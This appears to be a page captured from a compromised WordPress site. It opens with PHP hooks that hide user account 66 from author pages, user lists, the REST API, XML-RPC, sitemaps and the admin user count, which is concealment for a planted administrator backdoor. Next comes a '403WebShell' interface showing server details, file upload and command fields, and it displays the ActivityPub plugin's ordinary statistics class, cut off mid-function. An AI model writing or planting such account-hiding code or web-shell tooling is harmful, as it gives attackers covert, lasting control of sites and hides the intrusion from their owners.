add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/axel/wp-content/plugins/activitypub/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/axel/wp-content/plugins/activitypub/includes/class-statistics.php
<?php
/**
 * Statistics class file.
 *
 * Collects and stores ActivityPub statistics for monthly/annual reports.
 *
 * @package Activitypub
 */

namespace Activitypub;

use Activitypub\Collection\Actors;
use Activitypub\Collection\Followers;
use Activitypub\Collection\Outbox;
use Activitypub\Comment;

/**
 * Statistics class.
 *
 * Handles collection and storage of ActivityPub statistics.
 */
class Statistics {

	/**
	 * Option prefix for statistics storage.
	 *
	 * @var string
	 */
	const OPTION_PREFIX = 'activitypub_stats_';

	/**
	 * Get the start and end date strings for a given month.
	 *
	 * @param int $year  The year.
	 * @param int $month The month (1-12).
	 *
	 * @return array { start: string, end: string } in 'Y-m-d H:i:s' format.
	 */
	public static function get_month_date_range( $year, $month ) {
		$last_day = (int) \gmdate( 't', \gmmktime( 0, 0, 0, $month, 1, $year ) );

		return array(
			'start' => \sprintf( '%d-%02d-01 00:00:00', $year, $month ),
			'end'   => \sprintf( '%d-%02d-%02d 23:59:59', $year, $month, $last_day ),
		);
	}

	/**
	 * Get the option name for monthly stats.
	 *
	 * @param int $user_id The user ID.
	 * @param int $year    The year.
	 * @param int $month   The month.
	 *
	 * @return string The option name.
	 */
	public static function get_monthly_option_name( $user_id, $year, $month ) {
		return \sprintf( '%s%d_%d_%02d', self::OPTION_PREFIX, $user_id, $year, $month );
	}

	/**
	 * Get the option name for annual stats.
	 *
	 * @param int $user_id The user ID.
	 * @param int $year    The year.
	 *
	 * @return string The option name.
	 */
	public static function get_annual_option_name( $user_id, $year ) {
		return \sprintf( '%s%d_%d_annual', self::OPTION_PREFIX, $user_id, $year );
	}

	/**
	 * Get monthly statistics.
	 *
	 * @param int $user_id The user ID.
	 * @param int $year    The year.
	 * @param int $month   The month.
	 *
	 * @return array|false The monthly stats array or false if not found.
	 */
	public static function get_monthly_stats( $user_id, $year, $month ) {
		return \get_option( self::get_monthly_option_name( $user_id, $year, $month ), false );
	}

	/**
	 * Get annual summary statistics.
	 *
	 * @param int $user_id The user ID.
	 * @param int $year    The year.
	 *
	 * @return array|false The annual stats array or false if not found.
	 */
	public static function get_annual_summary( $user_id, $year ) {
		return \get_option( self::get_annual_option_name( $user_id, $year ), false );
	}

	/**
	 * Save monthly statistics.
	 *
	 * @param int   $user_id The user ID.
	 * @param int   $year    The year.
	 * @param int   $month   The month.
	 * @param array $stats   The stats array.
	 *
	 * @return bool True on success, false on failure.
	 */
	public static function save_monthly_stats( $user_id, $year, $month, $stats ) {
		// Invalidate the REST API transient cache so fresh data is served.
		\delete_transient( 'activitypub_stats_' . $user_id );

		return \update_option( self::get_monthly_option_name( $user_id, $year, $month ), $stats, false );
	}

	/**
	 * Save annual summary statistics.
	 *
	 * @param int   $user_id The user ID.
	 * @param int   $year    The year.
	 * @param array $stats   The stats array.
	 *
	 * @return bool True on success, false on failure.
	 */
	public static function save_annual_summary( $user_id, $year, $stats ) {
		return \update_option( self::get_annual_option_name( $user_id, $year ), $stats, false );
	}

	/**
	 * Collect monthly statistics for a user.
	 *
	 * @param int $user_id The user ID.
	 * @param int $year    The year.
	 * @param int $month   The month.
	 *
	 * @return array The collected stats.
	 */
	public static function collect_monthly_stats( $user_id, $year, $month ) {
		$month = (int) $month;
		$year  = (int) $year;

		if ( $month < 1 || $month > 12 ) {
			return array();
		}

		$range = self::get_month_date_range( $year, $month );
		$start = $range['start'];
		$end   = $range['end'];

		// Count new followers gained this month (by post_date in followers table).
		$followers_count = Followers::count_in_range( $user_id, $start, $end );

		$stats = array(
			'posts_count'       => self::count_federated_posts_in_range( $user_id, $start, $end ),
			'followers_count'   => $followers_count,
			'followers_total'   => self::get_follower_count( $user_id ),
			'top_posts'         => self::get_top_posts( $user_id, $start, $end, 5 ),
			'top_multiplicator' => self::get_top_multiplicator( $user_id, $start, $end ),
			'collected_at'      => \gmdate( 'Y-m-d H:i:s' ),
		);

		// Add counts for each comment type dynamically.
		foreach ( \array_keys( self::get_comment_types_for_stats() ) as $type ) {
			$stats[ $type . '_count' ] = self::count_engagement_in_range( $user_id, $start, $end, $type );
		}

		self::save_monthly_stats( $user_id, $year, $month, $stats );

		return $stats;
	}

	/**
	 * Compile annual summary from monthly stats.
	 *
	 * @param int $user_id The user ID.
	 * @param int $year    The year.
	 *
	 * @return array The annual summary.
	 */
	public static function compile_annual_summary( $user_id, $year ) {
		// Initialize totals dynamically based on registered comment types.
		$comment_types = \array_keys( self::get_comment_types_for_stats() );
		$totals        = array( 'posts_count' => 0 );
		foreach ( $comment_types as $type ) {
			$totals[ $type . '_count' ] = 0;
		}

		$most_active_month      = null;
		$most_active_engagement = 0;
		$first_month_stats      = null;
		$last_month_stats       = null;
		$all_multiplicators     = array();

		for ( $month = 1; $month <= 12; $month++ ) {
			$stats = self::get_monthly_stats( $user_id, $year, $month );

			if ( ! $stats ) {
				continue;
			}

			// Track first and last months with data.
			if ( ! $first_month_stats ) {
				$first_month_stats = $stats;
			}
			$last_month_stats = $stats;

			// Sum totals dynamically.
			$totals['posts_count'] += $stats['posts_count'] ?? 0;
			foreach ( $comment_types as $type ) {
				$key             = $type . '_count';
				$totals[ $key ] += $stats[ $key ] ?? 0;
			}

			// Calculate engagement for this month (sum of all comment type counts).
			$engagement = 0;
			foreach ( $comment_types as $type ) {
				$engagement += $stats[ $type . '_count' ] ?? 0;
			}

			if ( $engagement > $most_active_engagement ) {
				$most_active_engagement = $engagement;
				$most_active_month      = $month;
			}

			// Aggregate multiplicators.
			if ( ! empty( $stats['top_multiplicator'] ) && ! empty( $stats['top_multiplicator']['url'] ) ) {
				$url = $stats['top_multiplicator']['url'];
				if ( ! isset( $all_multiplicators[ $url ] ) ) {
					$all_multiplicators[ $url ] = array(
						'name'  => $stats['top_multiplicator']['name'],
						'url'   => $url,
						'count' => 0,
					);
				}
				$all_multiplicators[ $url ]['count'] += $stats['top_multiplicator']['count'] ?? 0;
			}
		}

		// Find top multiplicator for the year.
		$top_multiplicator = null;
		if ( ! empty( $all_multiplicators ) ) {
			\usort(
				$all_multiplicators,
				function ( $a, $b ) {
					return $b['count'] - $a['count'];
				}
			);
			$top_multiplicator = \reset( $all_multiplicators );
		}

		// Build summary with dynamic comment type counts.
		// Calculate followers_start: total at start of first month (total minus gained that month).
		// Monthly stats store: followers_count (gained this month), followers_total (total at end of month).
		$followers_start = 0;
		if ( $first_month_stats ) {
			$followers_start = ( $first_month_stats['followers_total'] ?? 0 ) - ( $first_month_stats['followers_count'] ?? 0 );
		}

		// Get top posts for the full year.
		$year_start = \sprintf( '%d-01-01 00:00:00', $year );
		$year_end   = \sprintf( '%d-12-31 23:59:59', $year );

		$summary = array(
			'posts_count'          => $totals['posts_count'],
			'most_active_month'    => $most_active_month,
			'followers_start'      => $followers_start,
			'followers_end'        => $last_month_stats ? ( $last_month_stats['followers_total'] ?? 0 ) : self::get_follower_count( $user_id ),
			'followers_net_change' => 0,
			'top_multiplicator'    => $top_multiplicator,
			'top_posts'            => self::get_top_posts( $user_id, $year_start, $year_end, 5 ),
			'compiled_at'          => \gmdate( 'Y-m-d H:i:s' ),
		);

		// Add comment type totals dynamically.
		foreach ( $comment_types as $type ) {
			$summary[ $type . '_count' ] = $totals[ $type . '_count' ];
		}

		$summary['followers_net_change'] = $summary['followers_end'] - $summary['followers_start'];

		self::save_annual_summary( $user_id, $year, $summary );

		return $summary;
	}

	/**
	 * Count published posts in a date range.
	 *
	 * Counts published posts in ActivityPub-enabled post types.
	 *
	 * @param int    $user_id The user ID.
	 * @param string $start   Start date (Y-m-d H:i:s).
	 * @param string $end     End date (Y-m-d H:i:s).
	 *
	 * @return int The post count.
	 */
	public static function count_federated_posts_in_range( $user_id, $start, $end ) {
		global $wpdb;

		$post_subquery = self::get_post_ids_subquery( $user_id, $start, $end );

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared
		$count = $wpdb->get_var(
			"SELECT COUNT(*) FROM ({$post_subquery}) AS posts"
		);
		// phpcs:enable

		return (int) $count;
	}

	/**
	 * Count engagement (likes, reposts, comments, quotes) in a date range.
	 *
	 * @param int         $user_id The user ID.
	 * @param string      $start   Start date (Y-m-d H:i:s).
	 * @param string      $end     End date (Y-m-d H:i:s).
	 * @param string|null $type    Optional. The engagement type ('like', 'repost', 'comment', 'quote').
	 *
	 * @return int The engagement count.
	 */
	public static function count_engagement_in_range( $user_id, $start, $end, $type = null ) {
		global $wpdb;

		// Use a subquery to avoid loading all post IDs into memory.
		$post_subquery = self::get_post_ids_subquery( $user_id );

		$type_clause = '';
		if ( $type ) {
			$type_clause = $wpdb->prepare( ' AND c.comment_type = %s', $type );
		} else {
			// Get all comment types tracked in statistics (includes federated comments via filter).
			$comment_types = \array_keys( self::get_comment_types_for_stats() );
			if ( ! empty( $comment_types ) ) {
				$placeholders_types = \implode( ', ', \array_fill( 0, \count( $comment_types ), '%s' ) );
				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
				$type_clause = $wpdb->prepare( " AND c.comment_type IN ($placeholders_types)", $comment_types );
			}
		}

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		$count = $wpdb->get_var(
			$wpdb->prepare(
				"SELECT COUNT(DISTINCT c.comment_ID) FROM {$wpdb->comments} c
				INNER JOIN {$wpdb->commentmeta} cm ON c.comment_ID = cm.comment_id
				WHERE c.comment_post_ID IN ({$post_subquery})
				AND cm.meta_key = 'protocol'
				AND cm.meta_value = 'activitypub'
				AND c.comment_date_gmt >= %s
				AND c.comment_date_gmt <= %s
				{$type_clause}",
				$start,
				$end
			)
		);
		// phpcs:enable

		return (int) $count;
	}

	/**
	 * Get top performing posts in a date range.
	 *
	 * @param int    $user_id The user ID.
	 * @param string $start   Start date (Y-m-d H:i:s).
	 * @param string $end     End date (Y-m-d H:i:s).
	 * @param int    $limit   Maximum number of posts to return.
	 *
	 * @return array Array of top posts with engagement data.
	 */
	public static function get_top_posts( $user_id, $start, $end, $limit = 5 ) {
		global $wpdb;

		// Use a subquery with date range to only consider posts published in the period.
		$post_subquery = self::get_post_ids_subquery( $user_id, $start, $end );

		// Use the same comment type source as all other statistics methods.
		$comment_types = \array_keys( self::get_comment_types_for_stats() );
		if ( empty( $comment_types ) ) {
			return array();
		}

		$placeholders_types = \implode( ', ', \array_fill( 0, \count( $comment_types ), '%s' ) );

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
		$type_clause = $wpdb->prepare( "AND c.comment_type IN ({$placeholders_types})", $comment_types );

		// Get engagement counts per post (only engagement within the date range).
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		$results = $wpdb->get_results(
			$wpdb->prepare(
				"SELECT c.comment_post_ID as post_id, COUNT(c.comment_ID) as engagement_count
				FROM {$wpdb->comments} c
				INNER JOIN {$wpdb->commentmeta} cm ON c.comment_ID = cm.comment_id
				WHERE c.comment_post_ID IN ({$post_subquery})
				AND cm.meta_key = 'protocol'
				AND cm.meta_value = 'activitypub'
				{$type_clause}
				AND c.comment_date_gmt >= %s
				AND c.comment_date_gmt <= %s
				GROUP BY c.comment_post_ID
				ORDER BY engagement_count DESC
				LIMIT %d",
				$start,
				$end,
				$limit
			),
			ARRAY_A
		);
		// phpcs:enable

		$top_posts = array();
		foreach ( $results as $result ) {
			$post = \get_post( $result['post_id'] );
			if ( $post ) {
				$top_posts[] = array(
					'post_id'          => $result['post_id'],
					'title'            => \html_entity_decode( \get_the_title( $post ), ENT_QUOTES, 'UTF-8' ),
					'url'              => \get_permalink( $post ),
					'edit_url'         => \get_edit_post_link( $post, 'raw' ),
					'engagement_count' => (int) $result['engagement_count'],
				);
			}
		}

		return $top_posts;
	}

	/**
	 * Get the top multiplicator (actor who boosted content the most) in a date range.
	 *
	 * @param int    $user_id The user ID.
	 * @param string $start   Start date (Y-m-d H:i:s).
	 * @param string $end     End date (Y-m-d H:i:s).
	 *
	 * @return array|null Actor data or null if none found.
	 */
	public static function get_top_multiplicator( $user_id, $start, $end ) {
		global $wpdb;

		// Use a subquery to avoid loading all post IDs into memory.
		$post_subquery = self::get_post_ids_subquery( $user_id );

		// Get actor who boosted the most.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		$result = $wpdb->get_row(
			$wpdb->prepare(
				"SELECT c.comment_author as name, c.comment_author_url as url, COUNT(c.comment_ID) as boost_count
				FROM {$wpdb->comments} c
				INNER JOIN {$wpdb->commentmeta} cm ON c.comment_ID = cm.comment_id
				WHERE c.comment_post_ID IN ({$post_subquery})
				AND cm.meta_key = 'protocol'
				AND cm.meta_value = 'activitypub'
				AND c.comment_type = 'repost'
				AND c.comment_date_gmt >= %s
				AND c.comment_date_gmt <= %s
				GROUP BY c.comment_author_url
				ORDER BY boost_count DESC
				LIMIT 1",
				$start,
				$end
			),
			ARRAY_A
		);
		// phpcs:enable

		if ( ! $result || empty( $result['url'] ) ) {
			return null;
		}

		return array(
			'name'  => $result['name'],
			'url'   => $result['url'],
			'count' => (int) $result['boost_count'],
		);
	}

	/**
	 * Get current follower count for a user.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return int The follower count.
	 */
	public static function get_follower_count( $user_id ) {
		return Followers::count( $user_id );
	}

	/**
	 * Get all active user IDs that have ActivityPub enabled.
	 *
	 * @return int[] Array of user IDs including BLOG_USER_ID if enabled.
	 */
	public static function get_active_user_ids() {
		return Actors::get_all_ids();
	}

	/**
	 * Get statistics for the current period.
	 *
	 * Always queries live data for the current period to include recent engagement.
	 *
	 * @param int    $user_id The user ID.
	 * @param string $period  The period ('month', 'year', 'all').
	 *
	 * @return array The statistics.
	 */
	public static function get_current_stats( $user_id, $period = 'month' ) {
		$now = \current_time( 'timestamp' ); // phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested

		switch ( $period ) {
			case 'year':
				$start = \gmdate( 'Y-01-01 00:00:00', $now );
				$end   = \gmdate( 'Y-12-31 23:59:59', $now );
				break;

			case 'all':
				$start = '1970-01-01 00:00:00';
				$end   = \gmdate( 'Y-m-d 23:59:59', $now );
				break;

			case 'month':
			default:
				$start = \gmdate( 'Y-m-01 00:00:00', $now );
				$end   = \gmdate( 'Y-m-t 23:59:59', $now );
				break;
		}

		$stats = array(
			'posts_count'       => self::count_federated_posts_in_range( $user_id, $start, $end ),
			'followers_total'   => self::get_follower_count( $user_id ),
			'top_posts'         => self::get_top_posts( $user_id, $start, $end, 3 ),
			'top_multiplicator' => self::get_top_multiplicator( $user_id, $start, $end ),
			'period'            => $period,
			'start'             => $start,
			'end'               => $end,
		);

		// Add counts for each comment type dynamically.
		foreach ( \array_keys( self::get_comment_types_for_stats() ) as $type ) {
			$stats[ $type . '_count' ] = self::count_engagement_in_range( $user_id, $start, $end, $type );
		}

		return $stats;
	}

	/**
	 * Get rolling monthly breakdown (last X months).
	 *
	 * Returns stats for the last X months, crossing year boundaries as needed.
	 *
	 * @param int $user_id     The user ID.
	 * @param int $num_months  Optional. Number of months to return. Defaults to 12.
	 *
	 * @return array Array of monthly stats ordered chronologically.
	 */
	public static function get_rolling_monthly_breakdown( $user_id, $num_months = 12 ) {
		$now           = \current_time( 'timestamp' ); // phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested
		$months        = array();
		$comment_types = \array_keys( self::get_comment_types_for_stats() );

		// Start from (num_months - 1) months ago and go to current month.
		for ( $i = $num_months - 1; $i >= 0; $i-- ) {
			$timestamp = \strtotime( "-{$i} months", $now );
			$year      = (int) \gmdate( 'Y', $timestamp );
			$month     = (int) \gmdate( 'n', $timestamp );

			$month_data          = self::get_month_data( $user_id, $year, $month, $comment_types );
			$month_data['year']  = $year;
			$month_data['month'] = $month;

			$months[] = $month_data;
		}

		return $months;
	}

	/**
	 * Get data for a single month.
	 *
	 * @param int   $user_id       The user ID.
	 * @param int   $year          The year.
	 * @param int   $month         The month.
	 * @param array $comment_types Array of comment type slugs.
	 *
	 * @return array Month data with posts_count, engagement, and type counts.
	 */
	private static function get_month_data( $user_id, $year, $month, $comment_types ) {
		$now           = \current_time( 'timestamp' ); // phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested
		$current_year  = (int) \gmdate( 'Y', $now );
		$current_month = (int) \gmdate( 'n', $now );

		// Always query live for the current month to include recent engagement.
		$is_current_month = ( $year === $current_year && $month === $current_month );

		// Check for stored monthly stats first (but not for current month).
		$stored_stats = $is_current_month ? false : self::get_monthly_stats( $user_id, $year, $month );

		if ( $stored_stats ) {
			// Use stored data.
			$engagement = 0;
			foreach ( $comment_types as $type ) {
				$engagement += $stored_stats[ $type . '_count' ] ?? 0;
			}

			$month_data = array(
				'month'       => $month,
				'posts_count' => $stored_stats['posts_count'] ?? 0,
				'engagement'  => $engagement,
			);

			// Add counts for each comment type from stored stats.
			foreach ( $comment_types as $type ) {
				$month_data[ $type . '_count' ] = $stored_stats[ $type . '_count' ] ?? 0;
			}
		} else {
			// Query live data.
			$range = self::get_month_date_range( $year, $month );
			$start = $range['start'];
			$end   = $range['end'];

			$month_data = array(
				'month'       => $month,
				'posts_count' => self::count_federated_posts_in_range( $user_id, $start, $end ),
				'engagement'  => 0,
			);

			// Query each type and sum for total engagement (avoids extra N+1 total query).
			foreach ( $comment_types as $type ) {
				$type_count                     = self::count_engagement_in_range( $user_id, $start, $end, $type );
				$month_data[ $type . '_count' ] = $type_count;
				$month_data['engagement']      += $type_count;
			}
		}

		return $month_data;
	}

	/**
	 * Get period-over-period comparison (current month vs previous month).
	 *
	 * Reuses pre-computed current stats when available to avoid duplicate queries.
	 * Falls back to live queries for current month if no stats are provided.
	 *
	 * @param int        $user_id       The user ID.
	 * @param array|null $current_stats Optional. Pre-computed current month stats from get_current_stats().
	 *
	 * @return array Comparison data with current values and changes from previous month.
	 */
	public static function get_period_comparison( $user_id, $current_stats = null ) {
		$now = \current_time( 'timestamp' ); // phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested

		// Previous month (handles year boundary).
		$prev_timestamp = \strtotime( '-1 month', $now );
		$prev_year      = (int) \gmdate( 'Y', $prev_timestamp );
		$prev_month     = (int) \gmdate( 'n', $prev_timestamp );

		// Check for stored stats (only for previous month - current month is always live).
		$prev_stats = self::get_monthly_stats( $user_id, $prev_year, $prev_month );

		// Reuse pre-computed current stats or query live.
		if ( $current_stats ) {
			$current_posts = $current_stats['posts_count'] ?? 0;
		} else {
			$current_start = \gmdate( 'Y-m-01 00:00:00', $now );
			$current_end   = \gmdate( 'Y-m-t 23:59:59', $now );
			$current_posts = self::count_federated_posts_in_range( $user_id, $current_start, $current_end );
		}

		$current_start = $current_start ?? \gmdate( 'Y-m-01 00:00:00', $now );
		$current_end   = $current_end ?? \gmdate( 'Y-m-t 23:59:59', $now );

		$current_followers = Followers::count_in_range( $user_id, $current_start, $current_end );

		// Get previous month data (from stored stats or live query).
		if ( $prev_stats ) {
			$prev_posts     = $prev_stats['posts_count'] ?? 0;
			$prev_followers = $prev_stats['followers_count'] ?? 0;
		} else {
			$prev_start     = \gmdate( 'Y-m-01 00:00:00', $prev_timestamp );
			$prev_end       = \gmdate( 'Y-m-t 23:59:59', $prev_timestamp );
			$prev_posts     = self::count_federated_posts_in_range( $user_id, $prev_start, $prev_end );
			$prev_followers = Followers::count_in_range( $user_id, $prev_start, $prev_end );
		}

		$comparison = array(
			'posts'     => array(
				'current' => $current_posts,
				'change'  => $current_posts - $prev_posts,
			),
			'followers' => array(
				'current' => $current_followers,
				'change'  => $current_followers - $prev_followers,
			),
		);

		// Add comparison for each comment type tracked in statistics (includes federated comments).
		$comment_types = \array_keys( self::get_comment_types_for_stats() );
		foreach ( $comment_types as $type ) {
			// Reuse pre-computed current stats or query live.
			if ( $current_stats && isset( $current_stats[ $type . '_count' ] ) ) {
				$current_count = $current_stats[ $type . '_count' ];
			} else {
				$current_count = self::count_engagement_in_range( $user_id, $current_start, $current_end, $type );
			}

			// Use stored stats for previous month if available.
			if ( $prev_stats ) {
				$prev_count = $prev_stats[ $type . '_count' ] ?? 0;
			} else {
				$prev_count = self::count_engagement_in_range( $user_id, $prev_start, $prev_end, $type );
			}

			$comparison[ $type ] = array(
				'current' => $current_count,
				'change'  => $current_count - $prev_count,
			);
		}

		return $comparison;
	}

	/**
	 * Get comment types to track in statistics.
	 *
	 * By default includes all registered ActivityPub comment types.
	 * Use the 'activitypub_stats_comment_types' filter to add additional types.
	 *
	 * @return array Array of comment type data with slug, label, and singular.
	 */
	public static function get_comment_types_for_stats() {
		$comment_types = Comment::get_comment_types();
		$result        = array();

		foreach ( $comment_types as $slug => $type ) {
			$result[ $slug ] = array(
				'slug'     => $slug,
				'label'    => $type['label'] ?? \ucfirst( $slug ),
				'singular' => $type['singular'] ?? \ucfirst( $slug ),
			);
		}

		// Add federated comments (replies) which use the standard 'comment' type.
		if ( ! isset( $result['comment'] ) ) {
			$result['comment'] = array(
				'slug'     => 'comment',
				'label'    => \__( 'Comments', 'activitypub' ),
				'singular' => \__( 'Comment', 'activitypub' ),
			);
		}

		/**
		 * Filter the comment types tracked in statistics.
		 *
		 * Allows adding additional comment types to be tracked
		 * in the statistics dashboard.
		 *
		 * @param array $result Array of comment type data with slug, label, and singular.
		 */
		return \apply_filters( 'activitypub_stats_comment_types', $result );
	}

	/**
	 * Backfill historical statistics for all active users.
	 *
	 * This method processes statistics in batches to avoid timeouts.
	 * It only collects stats for completed months (not the current month).
	 *
	 * @param int $batch_size Optional. Number of months to process per batch. Default 12.
	 * @param int $user_index Optional. The current user index being processed. Default 0.
	 * @param int $year       Optional. The year being processed. Default 0 (will determine earliest year).
	 * @param int $month      Optional. The month being processed. Default 1.
	 *
	 * @return array|null Array with batch info if more processing needed, null if complete.
	 */
	public static function backfill_historical_stats( $batch_size = 12, $user_index = 0, $year = 0, $month = 1 ) {
		$user_ids = self::get_active_user_ids();

		if ( empty( $user_ids ) || $user_index >= \count( $user_ids ) ) {
			return null; // All done.
		}

		$user_id       = $user_ids[ $user_index ];
		$now           = \current_time( 'timestamp' ); // phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested
		$current_year  = (int) \gmdate( 'Y', $now );
		$current_month = (int) \gmdate( 'n', $now );

		// Determine the earliest year with data if not set.
		if ( 0 === $year ) {
			$year = self::get_earliest_data_year( $user_id );
			if ( ! $year ) {
				// No data for this user, move to next user.
				return array(
					'batch_size' => $batch_size,
					'user_index' => $user_index + 1,
					'year'       => 0,
					'month'      => 1,
				);
			}
		}

		$months_processed = 0;

		// Process months for this user.
		while ( $months_processed < $batch_size ) {
			// Skip the current month - it's still in progress and should always be queried live.
			// Only process completed months (before the current month).
			if ( $year > $current_year || ( $year === $current_year && $month >= $current_month ) ) {
				// Move to next user.
				return array(
					'batch_size' => $batch_size,
					'user_index' => $user_index + 1,
					'year'       => 0,
					'month'      => 1,
				);
			}

			// Check if stats already exist for this month.
			$existing = self::get_monthly_stats( $user_id, $year, $month );
			if ( ! $existing ) {
				// Collect stats for this month.
				self::collect_monthly_stats( $user_id, $year, $month );
			}

			++$months_processed;
			++$month;

			// Move to next year if needed.
			if ( $month > 12 ) {
				$month = 1;
				++$year;
			}
		}

		// More months to process for this user.
		return array(
			'batch_size' => $batch_size,
			'user_index' => $user_index,
			'year'       => $year,
			'month'      => $month,
		);
	}

	/**
	 * Get a prepared SQL subquery that returns post IDs for a user.
	 *
	 * This avoids loading all post IDs into PHP memory by using a SQL subquery
	 * that can be embedded in other queries via IN (...).
	 *
	 * @param int         $user_id The user ID.
	 * @param string|null $start   Optional start date (Y-m-d H:i:s).
	 * @param string|null $end     Optional end date (Y-m-d H:i:s).
	 *
	 * @return string Prepared SQL subquery string.
	 */
	private static function get_post_ids_subquery( $user_id, $start = null, $end = null ) {
		global $wpdb;

		$post_types        = (array) \get_option( 'activitypub_support_post_types', array( 'post' ) );
		$type_placeholders = \implode( ', ', \array_fill( 0, \count( $post_types ), '%s' ) );
		$params            = $post_types;

		$author_clause = '';
		if ( Actors::BLOG_USER_ID !== $user_id ) {
			$author_clause = ' AND post_author = %d';
			$params[]      = $user_id;
		}

		$date_clause = '';
		if ( $start && $end ) {
			// Use COALESCE to fall back to post_date when post_date_gmt is empty.
			$date_clause = " AND COALESCE(NULLIF(post_date_gmt, '0000-00-00 00:00:00'), post_date) >= %s AND COALESCE(NULLIF(post_date_gmt, '0000-00-00 00:00:00'), post_date) <= %s";
			$params[]    = $start;
			$params[]    = $end;
		}

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		// phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
		// phpcs:disable WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
		return $wpdb->prepare(
			"SELECT ID FROM {$wpdb->posts} WHERE post_status = 'publish' AND post_type IN ({$type_placeholders}){$author_clause}{$date_clause}",
			$params
		);
		// phpcs:enable
	}

	/**
	 * Get the earliest year that has ActivityPub data for a user.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return int|null The earliest year with data, or null if no data.
	 */
	private static function get_earliest_data_year( $user_id ) {
		global $wpdb;

		// Use a subquery to avoid loading all post IDs into memory.
		$post_subquery = self::get_post_ids_subquery( $user_id );

		// Find earliest comment with ActivityPub protocol.
		// The $post_subquery is already prepared via $wpdb->prepare() in get_post_ids_subquery(),
		// so the outer query is safe despite not using prepare() itself.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared
